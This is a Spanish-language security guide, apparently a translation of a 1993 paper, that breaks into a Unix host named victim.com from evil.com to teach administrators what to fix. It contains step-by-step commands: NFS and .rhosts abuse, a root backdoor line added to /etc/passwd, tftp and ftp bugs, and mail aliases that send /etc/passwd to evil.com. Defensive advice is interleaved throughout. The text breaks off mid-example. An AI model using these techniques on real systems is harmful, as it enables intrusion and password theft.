Observar que no es posible cubrir todos los metodos posibles de irrumpir en los sistemas en un solo texto. De hecho, no vamos a mencionar dos de los metodos mas efectivos de irrupcion en hosts remotos: social engineering ( ingenieria social) y password cracking (crackear passwords). Este ultimo metodo es tan efectivo, sin embargo, que varias de las estrategias presentadas aquí estan basadas en la obtencion de archivos de passwords. Adicionalmente, mientras los sitemas basados en ventanas (X, OpenWindows, etc..) pueden proveer una “tierra fertil” para la irrupcion/violacion/explotacion, simplemente no sabemos muchos metodos usados para irrumpir en sistemas remotos. Muchos crackers de sistemas usan terminales non-bitmapped que les pueden prevenir de usar algunos de los metodos de explotacion efectiva mas interesantes para sistemas basados en ventanas (aunque el ser capaz de ver/monitorizar el teclado de la victima es normalmente suficiente para pillar passwords). Finalmente, mientras gusanos, virus, caballos de troya, y demas movidas son muy interesantes, no son comunes ( en sistemas basados en UNIX) y probablemente usan tecnicas muy similares a las descritas en este documento como partes individuales de su estrategia de ataque. Ganando Informacion

Asumamos que tu eres el administrador de sistema de “Victim Incorporated’s network of Unix workstations”. En un esfuerzo por proteger tus maquinas, le

106 pides a un colega administrador de sistema de un site cercano (evil.com) que te de una cuenta en una de sus maquinas para asi poder ver la seguridad de tu propio sistema desde el exterior. Que deberias hacer? Lo primero, tratar de recoger informacion sobre tu blanco, tu host. Hay un monton de servicios de red en los que mirar: finger, showmount y rpcinfo son buenos puntos de partida. Pero no te pares ahi – debes tambien utilizar DNS, whois, sendmail (smtp), ftp, uucp, y tantos otros servicios como puedas encontrar. Hay tantos metodos y tecnicas que el espacio nos impide enseñaros todos, pero trataremos de enseñar una representativa de las estrategias mas comunes y/o peligrosas que hemos visto o que se nos han ocurrido. Idealmente, podrias recoger dicha informacion sobre todos los hosts en la subred o area de ataque – la informacion es poder – pero por ahora examinaremos solo nuestra victima/blanco en cuestion. Para comenzar, miraremos lo que el comando finger nos ha reportado. (imagina que son las 6pm, 6 Noviembre, 1993):

victim % finger @victim.com [victim.com] Login Name TTY Idle When zen Dr. Fubar co 1d Wed 08:00

Where death.com

Bien! Un solo usuario inactivo – se supone que nadie va a notar si intentas irrumpir dentro. Ahora intentas mas tacticas. Como todos los devotos del finger sabran, hacer finger “@”, “0”, y "", asi como a nombre comunes, como root, bin, ftp, system, guest, demo, manager, etc…, puede revelar informacion interesante. Lo que esa informacion sea depende de la version de finger que tu victima este usando, pero la mas importante son nombres de cuentas, conjuntamente con sus home directories y el ultimo host desde el que se conectaron. Para añadir a esta informacion, puedes tambien usar rusers (en particular con la extension -l ) para pillar informacion valiosa sobre usuarios conectados. Usando estos comandos en victim.com nos da la siguiente informacion, presentada de forma tabulada comprimida para ahorrar espacio: Login Home-dir

Shell

Last login, from where

107 root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com bin /bin Never logged in nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com guest /export/foo /bin/sh Never logged in ftp /home/ftp Never logged in Tanto nuestros experimentos con el SATAN como el ver en funcionamiento system crackers nos ha demostrado que el finger es uno de los servicios mas peligrosos, por su valor a la hora de investigar una victima potencial. De todas formas, mucha de esta informacion solamente es valiosa usada conjuntamente con otros datos. Por ejemplo, ejecutando showmount (informacion sobre el montaje de un servidor)en tu victima nos revela lo siguiente: evil % showmount -e victim.com export list for victim.com: /export /var /usr /export/exec/kvm/sun4c.sunos.4.1.3 /export/root/easy /export/swap/easy

(everyone) (everyone) easy easy easy easy

Notar que /export/foo esta “exportado al mundo”; tambien fijaros que este es el home directory del usuario “guest”. Es hora de tu primera intrusion! En este caso, montaras el home directoy del usuario “guest”. Como no tienes la cuenta correspondiente en esa maquina y como root no puede modificar archivos en un sistema de archivos NFS, creas una cuenta “guest” en tu archivo de password local. Como usuario “guest” puedes colocar una “.rhosts entry” en el guest home directory remoto, que te permitira acceder a dicha maquina sin tener que dar ningun password. evil # mount victim.com:/export/foo /foo evil # cd /foo evil # ls -lag total 3 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. 1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest

108 evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd evil # ls -lag total 3 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. 1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest evil # su guest evil % echo evil.com >> guest/.rhosts evil % rlogin victim.com Welcome to victim.com! victim % Si, en lugar de home directories, victim.com exportara sistemas de archivos con comandos de usuario (como , /usr o /usr/local/bin), podrias reemplazar un comando por un caballo de troya que ejecutara cualquier comando de tu eleccion. El siguiente usuario en ejecutar dicho comando ejecutaria tu programa Sugerimos que se exporten estos sistemas de archivos: Lectura/excritura solo a clientes especificos y de confianza Solo-lectura, donde sea posible (datos o programas pueden ser exportados de esta forma) Si la victima tiene un “+” wildcard en su /etc/hosts.equiv (por defecto en varias maquinas) o tiene el netgroups bug , cualquier usuario no root con un login en el fichero de passwords de la victima puede hacer un rlogin (login remoto) a la victima sin necesidad de password. Y como el usuario “bin” normalmente tiene ficheros llave y directorios, tu siguiente ataque es el de tratar de acceder en el host de la victima y modificar el fichero de passwords para permitirte tener acceso “root”: evil % whoami bin evil % rsh victim.com csh -i Warning: no access to tty; thus no job control in this shell... victim % ls -ldg /etc drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc victim % cd /etc victim % mv passwd pw.old victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd victim % ^D evil % rlogin victim.com -l toor Welcome to victim.com! victim # Unas pocas notas sobre el metodo usado arriba; "rsh victim.com csh -i" se

109 usa para inicialmente entrar en el sistema ya que no deja ningun rastro en los ficheros wtmp o utmp, haciendo el comando rsh invisible para el finger y el who. El shell remoto no esta unido a un pseudo-terminal, asi que los prgramas tipo pagers y editores fallaran – pero es de gran utilidad para una breve exploracion. La utilidad de seguridad COPS (ver apendice D) informara de archivos o directorios que son “escribibles” a otras cuentas aparte de la superuser. Si usas SunOS 4.x puedes aplicar el patch 100103 para arreglar muchos de los problemas de permisos de ficheros. En muchos sistemas, rsh lo prueba en lo expuesto arriba, aun cuando tenga éxito, seguira siendo completamente innotificable; el tcp wrapper (apendice D), que “logea” conexiones entrantes, puede ayudar a desenmascarar dichas actividades. --Y ahora que? Has destapado ya todos los agujeros del sistema-victima? Volviendo a los resultados dados por el finger en nuestra victima, te das cuenta de que tiene una cuenta “ftp”, que normalmente significa que se puede hacer ftp anonimo. Ftp anonimo puede ser una forma facil de conseguir acceso, ya que esta muchas veces mal configurado. Por ejemplo, la victima debe de tener una copia completa del fichero /etc/passwd en su ftp anonimo -ftp/etc en vez de una version reducida. En este ejemplo, sin embargo, puedes ver que este ultimo no parece ser el verdadero (como puedes afirmarlo sin haber examinado el archivo?) Sin embargo, el home directory de “ftp” en victim.com es escribible. Esto te permite ejecutar comandos remotamente – en este caso, mandarte el archivo por mail a ti mismo – por el simple metodo de crear un archivo .forward que ejecuta un comando cuando un mail es mandado a la cuenta “ftp”. evil % cat forward_sucker_file "|/bin/mail [email protected] < /etc/passwd" evil % ftp victim.com Connected to victim.com 220 victim FTP server ready. Name (victim.com:zen): ftp 331 Guest login ok, send ident as password. Password: 230 Guest login ok, access restrictions apply. ftp> ls -lga 200 PORT command successful. 150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes). total 5 drwxr-xr-x 4 101 1 512 Jun 20 1991 . drwxr-xr-x 4 101 1 512 Jun 20 1991 .. drwxr-xr-x 2 0 1 512 Jun 20 1991 bin drwxr-xr-x 2 0 1 512 Jun 20 1991 etc drwxr-xr-x 3 101 1 512 Aug 22 1991 pub

110 226 ASCII Transfer complete. 242 bytes received in 0.066 seconds (3.6 Kbytes/s) ftp> put forward_sucker_file .forward 43 bytes sent in 0.0015 seconds (28 Kbytes/s) ftp> quit evil % echo test | mail [email protected] Ahora simplemente tienes que esperar a que el fichero de passwords te sea enviado. La herramienta de seguridad COPS chequeara el setup de tu ftp anonimo; mirar la documentacion man sobre ftpd, la documetacion/codigo de COPS, o el CERT advisory 93:10 para recoger informacion acerca de como establecer (setup, por si hay dudas) ftp anonimo correctamente. Vulnerabilidades en el ftp son normalmente cusetion de una posesion incorrecta o de los permisos de archivos y directorios. Al menos, estate seguro de que -ftp y todos los directorios y ficheros “system” por debajo de -ftp son de root y que no tienen privilegios de escritura para ningun usuario. Examinando ftp, puedes probar un viejo bug que en su dia fue bastamente explotado: % ftp -n ftp> open victim.com Connected to victim.com 220 victim.com FTP server ready. ftp> quote user ftp 331 Guest login ok, send ident as password. ftp> quote cwd ~root 530 Please login with USER and PASS. ftp> quote pass ftp 230 Guest login ok, access restrictions apply. ftp> ls -al / (o lo que sea) Si esto funciona, estaras dentro como root, y con capacidad para modificar el fichero passwd, o lo que desees. Si tu sistema tiene este bug, tienes que conseguir un update de tu ftpd daemon, ya sea de tu vendedor o por ftp anonimo en ftp.uu.net. El wuarchive ftpd, un conocido “recambio” del ftp daemon dado por la Washington University in Saint Louis, tenia casi el mismo problema. Si tu wuarchive ftpd es anterior a Abril de 1993, deberias reemplazarlo por una version mas reciente. hay un programa similar a ftp – tftp, o trivial file transfer program. Este daemon no necesita de ningun password para autentificacion; si un host provee de tftp sin restringir el acceso (normalmente mediante

111 algun flag seguro puesto en el archivo inetd.conf), un atacante podria leer y escribir archivos en cualquier lugar del sistema. En el ejemplo, pillas el fichero passwd y se pone en tu directorio /tmp local: evil % tftp tftp> connect victim.com tftp> get /etc/passwd /tmp/passwd.victim tftp> quit Por el bien de la seguridad, tftp no deberia de ejecutarse; si tftp es necesario, utiliza la opcion/flag segura para restringir el acceso a un directorio que contenga informacion sin valor, o ejecutalo bajo el control de un programa chroot wrapper. ----Si ninguno de los metodos anteriores ha funcionado, es hora de tomar medidas mas drasticas. Tu nuevo amigo es rpcinfo, otro programa de gran utilidad, muchas veces incluso mas practico que el finger. Muchos hosts tienen servicios RPC que pueden ser explotados; rpcinfo puede hablar con el portmapper y enseñarte el camino. Puede decirte si el host esta usando NIS, si es un servidor o esclavo NIS, si hay una estacion de trabajo sin disquetera por ahi, si esta usando NFS, cualquiera de los servicios de info (rusersd, rstatd, etc..), o cualquier otro programa inusual (relacionados con logs y seguridad). Por ejemplo, volviendo a nuestra victima: evil % rpcinfo -p victim.com program vers proto port 100004 2 tcp 673 ypserv 100005 1 udp 721 mountd 100003 2 udp 2049 nfs 100026 1 udp 733 bootparam 100017 1 tcp 1274 rexd

En este caso, puedes ver varios datos significativos sobre nuestra victima; el primero de los cuales es que es un servidor NIS. Puede que no sea muy sabido, pero una vez que se conoce el nombre de dominio NIS de un servidor, puedes tener cualquiera de sus mapas NIS con una simple orden rpc, incluso cuando estas fuera de la subred del servidor NIS (por ejemplo, usando el programa YPX que se puede encontrar en los archivos comp.sources.misc en ftp.uu.net). Adicionalmente, tanto como los facilmente adivinables passwords, muchos sistemas usan nombres de dominio NIS facilmente adivinables. Tratar de adivinar el nombre de dominio NIS es normalmente provechoso/fructifero. Los mayores candidatos son los nombres del host en forma parcial y total (e.g. “victim” and “victim.com”, el nombre de la organización, nombres del grupo dados por el comando “showmount”, y demas. Si quisieras probar si el nombre de dominio fuera “victim”, teclearias:

112

evil % ypwhich -d victim victim.com Domain victim not bound.

Como se ve este fue un intento sin éxito; si huiera sido correcto “victim”, nos habria dado un mensaje con el nombre de host del servidor NIS. De todas formas, fijaros de la seccion NFS que victim.com esta exportando el directorio “/var” al mundo. Todo lo que se necesita es montar dicho directorio y mirar en el subdirectorio “yp” – entre otras cosas veras otro subdirectorio que contiene el nombre de dominio de la victima. evil # mount victim.com:/var /foo evil # cd /foo evil # /bin/ls -alg /foo/yp total 17 1 drwxr-sr-x 4 root staff 1 drwxr-sr-x 11 root staff 11 -rwxr-xr-x 1 root staff 1 drwxr-sr-x 2 root staff 2 drwxr-sr-x 2 root staff [...]

512 Jul 12 14:22 . 512 Jun 29 10:54 .. 10993 Apr 22 11:56 Makefile 512 Apr 22 11:20 binding 1536 Jul 12 14:22 foo_bar

En este caso “foo_bar” es el nombre de dominio del NIS. Adicionalmente, los mapas NIS contienen normalmente una buena lista de nombres de usuarios/empleados asi como listas de hosts internos, por no mencionar passwords para crackear. El apendice C detalla los resultados de un caso practico sobre archivos de passwords NIS. ----Puedes observar que la respuesta dada por el comando rpcinfo mostraba que victim.com usaba rexd. Como el rsh daemon, rexd procesa peticiones del tipo “por favor ejecuta este comando como ese usuario (como siendo ese usuario)”. A diferencia de rshd, rexd no tiene en cuenta si el host cliente esta o no en los archivos hosts.equiv o .rhost. Normalmente el programa rexd cliente es el comando “on”, pero tan solo es necesario un pequeño programa en C para mandar informacion arbitraria sobre el host y userid cliente al servidor rexd; rexd ejecutara tan contento el comando. Por estas razones, ejecutar rexd es similar a no tener passwords: toda la seguridad esta en el cliente, no en el servidor que es donde deberia. La seguridad del rexd puede ser mejorada de alguna manera usando un RPC seguro. -----

113 bservando de nuevo la respuesta de rpcinfo, puedes observar que victim.com parece ser un server para estaciones de trabajo sin disqueteras. Esto se evidencia debido a la presencia del servicio bootparam, que provee informacion a los clientes sin disquetera para el arranque. Si lo preguntas correctamente, usando BOOTPARAMPROC_WHOAMI y dando la direccion de un cliente, puedes obtener su nombre de dominio NIS. Esto puede ser de gran utilidad cuando es combiando con el hecho de que puedes conseguir mapas NIS arbitrarios (como el fichero password) cuando sabes el nombre de dominio. Aquí va un ejemplo de codigo para hacer justo eso:

char *server; struct bp_whoami_arg arg; struct bp_whoami_res res;

/* query */ /* reply */

/* initializations omitted... */

callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);

printf("%s has nisdomain %s\n", server, res.domain_name);

El resultado del comando showmount indicaba que “easy” es un cliente sin disquetera de victim.com, asi que usamos su direccion de cliente en el query BOOTPARAMPROC_WHOAMI:

evil % bootparam victim.com easy.victim.com

114 victim.com has nisdomain foo_bar

-----

Los NIS masters controlan los alias del mail para el dominio NIS en cuestion. Como en los ficheros de alias de mail locales, puedes crear un mail alias que ejecutara comandos cuando el mail le es mandado(un ejemplo popular de esto es el alias “decode” que “uudecodea” archivos mail que le son mandados). Por ejemplo, aquí creas un alias “foo”, que mailea el fichero password de vuelta a evil.com simplemente maileandole cualquier mensaje:

nis-master # echo 'foo: "|mail [email protected]< /etc/passwd "' >> /etc/aliases nis-master # cd /var/yp nis-master # make aliases nis-master # echo test | mail -v [email protected]

Por suerte los atacantes no tendran control de tu NIS master host, pero mas aun laa leccion esta clara – NIS normalmente no es seguro, pero si un atacante se hace con el control de tu NIS master, efectivamente tendra de los hosts clientes(por ejemplo podra ejecutar comandos arbitarrios).

No hay demasiadas defensas contra estos ataques; es un servicio inseguro que casi no tiene autentificacion entre clientes y servers. Para mas INRI, parece claro que se pueden forzar mapas aleatorios incluso en servidores maestros (ej, es posible tratar a un servidor NIS como si fuera un cliente). Obviamente, esto echaria abajo todos los esquemas. Ni es absolutamente necesario usar NIS, el usar un nombre de dominio dificil de adivinar facilitaria mucho las cosas, pero si usas clientes sin disquetera que estan expuestos a atacantes en potencia, entonces es insignifante para este atacante el sobrepasar este simple paso haciendo uso del truco del bootparam para conseguir el nombre de dominio. Si el NIS es usado para

115 propagar los mapas de passwords, entonces los shadowed passwords no ofrecen ningun tipo de proteccion adicional ya que el mapa shadow seria aun accesible para cualquier atacante que fuera root en un host de ataque. Lo mehjor es usar NIS lo menos posible, o por lo menos darse cuenta de que los mapas pueden ser objeto de lectuta por fuerzas potencialmente hostiles.

El tener un protocolo RPC seguro disminuye en gran medida la amenaza, pero tiene sus propios problemas, principalmente en que es dificil de administrar, pero tambien en que los metodos de criptologia usados no son muy poderosos. Hay rumores de que NIS+, el nuevo servicio de informacion de red de Sun, soluciona alguno de los problemas, pero hasta ahora se ha limitado a correr bajo Suns. Finalmente, el usar filtrado de paquetes(packet filtering)en el puerto 111 o securelib (ver apendice D), o, para Suns, aplicar el parche 100482-02 de Sun, puede tambien ayudar.

-----

El portmapper (mapeador de puertos) solo sabe de servicios RPC. Otros servicios de red pueden ser localizados con el metodo de fuerza bruta que conecta a todos los puertos de la red. Muchas utilidades de red y sistemas basados en ventanas “escuchan” en puertos especificos (ej, sendmail esta en el puerto 25, telnet en el 23, X windows normalmente esta en el 6000, etc). SATAN incluye un programa que escanea los puertos de un host remoto e informa lo que ha encontrado; si lo ejecutaras contra nuestra victima verias lo siguiente:

evil % tcpmap victim.com Mapping 128.128.128.1 port 21: ftp port 23: telnet port 25: smtp port 37: time port 79: finger port 512: exec

116 port 513: login port 514: shell port 515: printer port 6000: (X) Esto sugiere que victim.com esta corriendo X windows. Si no esta correctamente protegido (por via de la cookie magica,magic cookie, o por mecanismos xhost), el contenido de las ventanas podria capturarse u observarse, lo que teclean los usuarios robado, ejecutar programas remotamente, etc. Tambien, si la victima esta usando X windows y acepta un telnet por el puerto 6000 (X), esto podria ser usado para un ataque de denegacion de servicio (denial of service attack), ya que el sistema de ventanas de la victima se suele mantener “congelado” por unos instantes. Un metodo para determinar la vulnerabilidad de un servidor X (corriendo X windows) es el de conectarse al mismo por medio de la funcion XOpenDisplay(); si esta nos da como resultado NULL entonces no puedes acceder al display de la victima (opendisplay es parte de SATAN): char *hostname; if (XOpenDisplay(hostname) == NULL) { printf("Cannot open display: %s\n", hostname); } else { printf("Can open display: %s\n", hostname); } evil % opendisplay victim.com:0 Cannot open display: victim.com:0 Los terminales X, aunque mucho menos potentes que un sistema UNIX completo, pueden tener sus propios problemas de seguridad. Muchos terminales X permiten accesos rsh no restringidos, permitiendote iniciar programas clientes X en el terminal de la victima apareciendo los resultados en tu propia pantalla: evil % xhost +xvictim.victim.com evil % rsh xvictim.victim.com telnet victim.com -display evil.com En cualquier caso, dale la misma importancia a la seguridad de tu sistema de ventanas, como a la de tu sistema de archivos y utilidades de red, ya que si no puede comprometer tu sistema igual que un “+” en el host.equiv o una cuenta root sin password. Lo siguiente es examinar el sendmail. Sendmail es un programa muy complejo que tiene un largo historial de problemas de seguridad, incluyendo el infame comando “wiz” (por suerte hace mucho que se deshabilito en todas las maquinas). A menudo puedes determinar el sistema operativo, a veces hasta la version, de la victima, mirando al numero de version de sendmail. Esto,

117 nos puede dar pistas acerca de como de vulnerable sera a cualquiera de los muchos bugs. Adicionalmente, puedes ver si usan el alias “decode”, que posee su propio set de problemas: evil % telnet victim.com 25 connecting to host victim.com (128.128.128.1.), port 25 connection open 220 victim.com Sendmail Sendmail 5.55/victim ready at Fri,6 Nov 93 18:00 PDT expn decode 250 quit El usar el alias “decode” es un riesgo de seguridad – permite a los atacantes en potencia sobreescribir cualquier fichero que fuese escribible por el poseedor de ese alias – a menudo un daemon, pero potencialmente cualquier usuario. Considera este trozo de mail – esto pondra a “evil.com” en el archivo .rhost del usuario zen si es que fuera escribible. evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail [email protected] Si no se conocen o no hay home directories escribibles, una interesante variacion de esto sera la creacion de un archivo /etc/aliases.pag falso que contenga un alias con un comando que quieras ejecutar en tu victima. Esto puede funcionar debido a que en muchos sistemas los archivos aliases.pag y aliases.dir, que controlan los alias de mail del sistema, son escribibles para todo el mundo. evil % cat decode bin: "| cat /etc/passwd | mail [email protected]" evil % newaliases -oQ/tmp -oA`pwd`/decode evil % uuencode decode.pag /etc/aliases.pag | mail [email protected] evil % /usr/lib/sendmail -fbin -om -oi [email protected] < /dev/null Se pueden encontrar muchas cosas simplemente preguntando a sendmail si una direccion es aceptable (vrfy), o hasta donde se expande una direccion (expn). Cuando los servicios de finger o rusers se desabilitan, vrfy y expn pueden todavia ser usados para identificar cuentas de usuarios. Vrfy y expn pueden tambien ser usados para descubrir si el usuario esta ejecutando mail por medio de cualquier programa susceptible de ser explotado (ej, vacation, mail sorters, etc.). Puede ser una buena idea el desabilitar los comandos vrfy y expn: en la mayoria de las versiones, mira en el codigo fuente del archivo srvrsmtp.c, y o bien borra o cambia las dos lineas de la estructura CmdTab que tengan los strings “vrfy” y “expn”. Sites sin codigo pueden tambien desabilitarlos simplemente editando el ejecutable del sendmail con un editor binario y reemplazando “vrfy” y “expn” por espacios en blanco.

118 El adquirir una version reciente del sendmail (ver apendice D) es tambien una gran idea, puesto que ha habido mas informes sobre bugs en el sendmail que encualquier otro programa UNIX. os bugs muy conocidos que deben ser tratados. El primero fue definitivamente arreglado en la version 5.59 de Berkeley; a pesar de los mensajes de abajo, para versiones de sendmail previas a la 5.59, “evil.com” se añade, a pesar de los mensajes de error, junto con los tipicos headers del mail, al archivo especificado: % cat evil_sendmail telnet victim.com 25
View more...

Comments

Copyright ©2017 KUPDF Inc.
SUPPORT KUPDF